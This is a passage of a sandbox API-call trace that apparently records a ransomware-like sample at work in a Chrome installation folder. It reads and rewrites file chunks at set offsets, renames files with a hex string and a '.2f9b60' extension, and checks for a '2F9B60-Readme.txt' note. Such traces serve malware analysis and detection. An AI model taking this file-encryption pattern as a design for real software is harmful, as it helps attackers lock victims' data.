0x6cde514d [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x34f00d5b [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x48ce2c95 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x2d57942 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x1c453685 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x5b8f5105 [0154.786] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x6aa5a9a [0154.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda100 [0154.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda130 [0154.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda0d0) returned 1 [0154.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42859e90 [0154.796] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.796] ReadFile (in: hFile=0x688, lpBuffer=0x42859e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3049fd60, lpOverlapped=0x0 | out: lpBuffer=0x42859e90*, lpNumberOfBytesRead=0x3049fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0154.809] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1c0 [0154.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1c0) returned 1 [0154.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4286cae0 [0154.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1c0 [0154.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.811] WriteFile (hFile=0x688, lpBuffer=0x4286cae0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3049fd60, lpOverlapped=0x0) [0194.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4286cae0) returned 1 [0194.387] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.387] ReadFile (in: hFile=0x688, lpBuffer=0x42859e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3049fd60, lpOverlapped=0x0 | out: lpBuffer=0x42859e90*, lpNumberOfBytesRead=0x3049fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.675] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0194.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d40 [0194.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d40) returned 1 [0194.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e39560 [0194.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d40 [0194.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0194.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bf0) returned 1 [0194.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0194.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.680] WriteFile (in: hFile=0x688, lpBuffer=0x41e39560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3049fd60, lpOverlapped=0x0 | out: lpBuffer=0x41e39560*, lpNumberOfBytesWritten=0x3049fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0211.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e39560) returned 1 [0211.131] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x37ca30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.131] ReadFile (in: hFile=0x688, lpBuffer=0x42859e90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3049fd60, lpOverlapped=0x0 | out: lpBuffer=0x42859e90*, lpNumberOfBytesRead=0x3049fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0212.077] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x37ca30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0212.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0212.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cd00b0 [0212.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0212.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0212.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0212.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.081] WriteFile (in: hFile=0x688, lpBuffer=0x41cd00b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3049fd60, lpOverlapped=0x0 | out: lpBuffer=0x41cd00b0*, lpNumberOfBytesWritten=0x3049fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0216.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0216.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105d00 [0216.848] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.848] WriteFile (in: hFile=0x688, lpBuffer=0x1ceb81b0*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3049fe10, lpOverlapped=0x0 | out: lpBuffer=0x1ceb81b0*, lpNumberOfBytesWritten=0x3049fe10*=0x15a, lpOverlapped=0x0) returned 1 [0220.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0220.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f80 [0220.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9f80) returned 1 [0220.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cdd9f80 [0220.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f50 [0220.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e90 [0220.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e90) returned 1 [0220.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0220.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x431fa4a0 [0220.097] sprintf (in: _Dest=0x431fa4a0, _Format="%c%c" | out: _Dest="6c") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4a2, _Format="%c%c" | out: _Dest="eb") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4a4, _Format="%c%c" | out: _Dest="03") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4a6, _Format="%c%c" | out: _Dest="86") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4a8, _Format="%c%c" | out: _Dest="f7") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4aa, _Format="%c%c" | out: _Dest="3f") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4ac, _Format="%c%c" | out: _Dest="7d") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4ae, _Format="%c%c" | out: _Dest="3b") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4b2, _Format="%c%c" | out: _Dest="1b") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4b4, _Format="%c%c" | out: _Dest="0c") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4b6, _Format="%c%c" | out: _Dest="5a") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4b8, _Format="%c%c" | out: _Dest="68") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4ba, _Format="%c%c" | out: _Dest="99") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4bc, _Format="%c%c" | out: _Dest="f7") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4be, _Format="%c%c" | out: _Dest="21") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4c0, _Format="%c%c" | out: _Dest="04") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4c2, _Format="%c%c" | out: _Dest="22") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4c4, _Format="%c%c" | out: _Dest="d5") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4c6, _Format="%c%c" | out: _Dest="57") returned 2 [0220.097] sprintf (in: _Dest=0x431fa4c8, _Format="%c%c" | out: _Dest="cb") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4ca, _Format="%c%c" | out: _Dest="52") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4cc, _Format="%c%c" | out: _Dest="4b") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4ce, _Format="%c%c" | out: _Dest="5f") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4d0, _Format="%c%c" | out: _Dest="1f") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4d2, _Format="%c%c" | out: _Dest="e6") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4d4, _Format="%c%c" | out: _Dest="ca") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4d6, _Format="%c%c" | out: _Dest="2a") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4d8, _Format="%c%c" | out: _Dest="6f") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4da, _Format="%c%c" | out: _Dest="bf") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4dc, _Format="%c%c" | out: _Dest="63") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4de, _Format="%c%c" | out: _Dest="72") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4e0, _Format="%c%c" | out: _Dest="26") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4e2, _Format="%c%c" | out: _Dest="9e") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4e4, _Format="%c%c" | out: _Dest="d3") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4e6, _Format="%c%c" | out: _Dest="10") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4e8, _Format="%c%c" | out: _Dest="8c") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4ea, _Format="%c%c" | out: _Dest="08") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4ec, _Format="%c%c" | out: _Dest="e0") returned 2 [0220.098] sprintf (in: _Dest=0x431fa4ee, _Format="%c%c" | out: _Dest="41") returned 2 [0220.098] RtlInitAnsiString (in: DestinationString=0x3049fe88, SourceString="6ceb0386f73f7d3bc71b0c5a6899f7210422d557cb524b5f1fe6ca2a6fbf6372269ed3108c08e041" | out: DestinationString="6ceb0386f73f7d3bc71b0c5a6899f7210422d557cb524b5f1fe6ca2a6fbf6372269ed3108c08e041") [0220.098] RtlAnsiStringToUnicodeString (in: DestinationString=0x3049fe58, SourceString="6ceb0386f73f7d3bc71b0c5a6899f7210422d557cb524b5f1fe6ca2a6fbf6372269ed3108c08e041", AllocateDestinationString=1 | out: DestinationString="6ceb0386f73f7d3bc71b0c5a6899f7210422d557cb524b5f1fe6ca2a6fbf6372269ed3108c08e041") returned 0x0 [0220.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f4a90 [0220.099] wcscat (in: _Dest=0x43111920, _Source="6ceb0386f73f7d3bc71b" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b" [0220.099] wcscat (in: _Dest=0x43111920, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b.2f9b60" [0220.099] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b.2f9b60", NtPathName=0x3049fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\6ceb0386f73f7d3bc71b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x43114e20 [0226.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43114e20) returned 1 [0226.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074db0) returned 1 [0226.915] NtQueryInformationFile (in: FileHandle=0x688, IoStatusBlock=0x3049fe98, FileInformation=0x3049fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3049fe98, FileInformation=0x3049fea8) returned 0x0 [0226.915] NtSetInformationFile (FileHandle=0x688, IoStatusBlock=0x3049fe98, FileInformation=0x3049fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111920) returned 1 [0235.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4a90) returned 1 [0235.293] FlushFileBuffers (hFile=0x688) returned 1 [0238.169] CloseHandle (hObject=0x688) returned 1 [0240.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd64f20 [0240.410] wcscpy (in: _Dest=0x1cd64f20, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0240.410] wcscat (in: _Dest=0x1cd64f20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0240.410] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0240.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 [0240.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 Thread: id = 2509 os_tid = 0x1fa8 [0154.665] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin")) returned 0x20 [0154.665] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin", dwFileAttributes=0x20) returned 1 [0154.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\natives_blob.bin" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\natives_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x690 [0154.666] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x30dcfa20 | out: lpFileSize=0x30dcfa20*=262947) returned 1 [0154.666] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x4031f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.666] ReadFile (in: hFile=0x690, lpBuffer=0x30dcf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30dcf9e8, lpOverlapped=0x0 | out: lpBuffer=0x30dcf9a0*, lpNumberOfBytesRead=0x30dcf9e8*=0x4, lpOverlapped=0x0) returned 1 [0154.741] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e90 [0154.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f20 [0154.741] NtQuerySystemTime (in: CurrentTime=0x30dcf8e0 | out: CurrentTime=0x30dcf8e0*=132462177598762000) returned 0x0 [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x127ac97e [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x29958895 [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x58931c88 [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x5b3fd1e2 [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x8b7b91e [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x2d45a96c [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x4295e99e [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x433a369e [0154.741] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x1aaf6524 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x6b778f77 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x74438c6b [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x3ae941d0 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x3d163f61 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x471f0f56 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x137c6544 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x50283b5a [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x4581c1ab [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x431c6f3d [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x1048a8e9 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0xc974d64 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x43c7dd4d [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x289dae08 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x5a83103c [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x45a7fe27 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x7a4c73d0 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x7f56024f [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x48002d70 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x7510e24 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x5872a69c [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x50699ad8 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x10374ca3 [0154.742] RtlRandomEx (in: Seed=0x30dcf8d0 | out: Seed=0x30dcf8d0) returned 0x65b72eb4 [0154.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f50 [0154.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f80 [0154.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9f20) returned 1 [0154.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4284ea60 [0154.754] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.754] ReadFile (in: hFile=0x690, lpBuffer=0x4284ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dcf940, lpOverlapped=0x0 | out: lpBuffer=0x4284ea60*, lpNumberOfBytesRead=0x30dcf940*=0x3c00, lpOverlapped=0x0) returned 1 [0154.801] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda0d0 [0154.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda0d0) returned 1 [0154.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428616b0 [0154.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda0d0 [0154.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda160 [0154.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda160) returned 1 [0154.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.803] WriteFile (hFile=0x690, lpBuffer=0x428616b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dcf940, lpOverlapped=0x0) [0194.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428616b0) returned 1 [0194.371] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.371] ReadFile (in: hFile=0x690, lpBuffer=0x4284ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dcf940, lpOverlapped=0x0 | out: lpBuffer=0x4284ea60*, lpNumberOfBytesRead=0x30dcf940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.684] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0194.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0194.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0194.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e22d00 [0194.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0194.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0194.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0194.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0194.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.688] WriteFile (in: hFile=0x690, lpBuffer=0x41e22d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dcf940, lpOverlapped=0x0 | out: lpBuffer=0x41e22d00*, lpNumberOfBytesWritten=0x30dcf940*=0x3c00, lpOverlapped=0x0) returned 1 [0211.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e22d00) returned 1 [0211.163] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x3c723, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.163] ReadFile (in: hFile=0x690, lpBuffer=0x4284ea60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30dcf940, lpOverlapped=0x0 | out: lpBuffer=0x4284ea60*, lpNumberOfBytesRead=0x30dcf940*=0x3c00, lpOverlapped=0x0) returned 1 [0212.072] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x3c723, 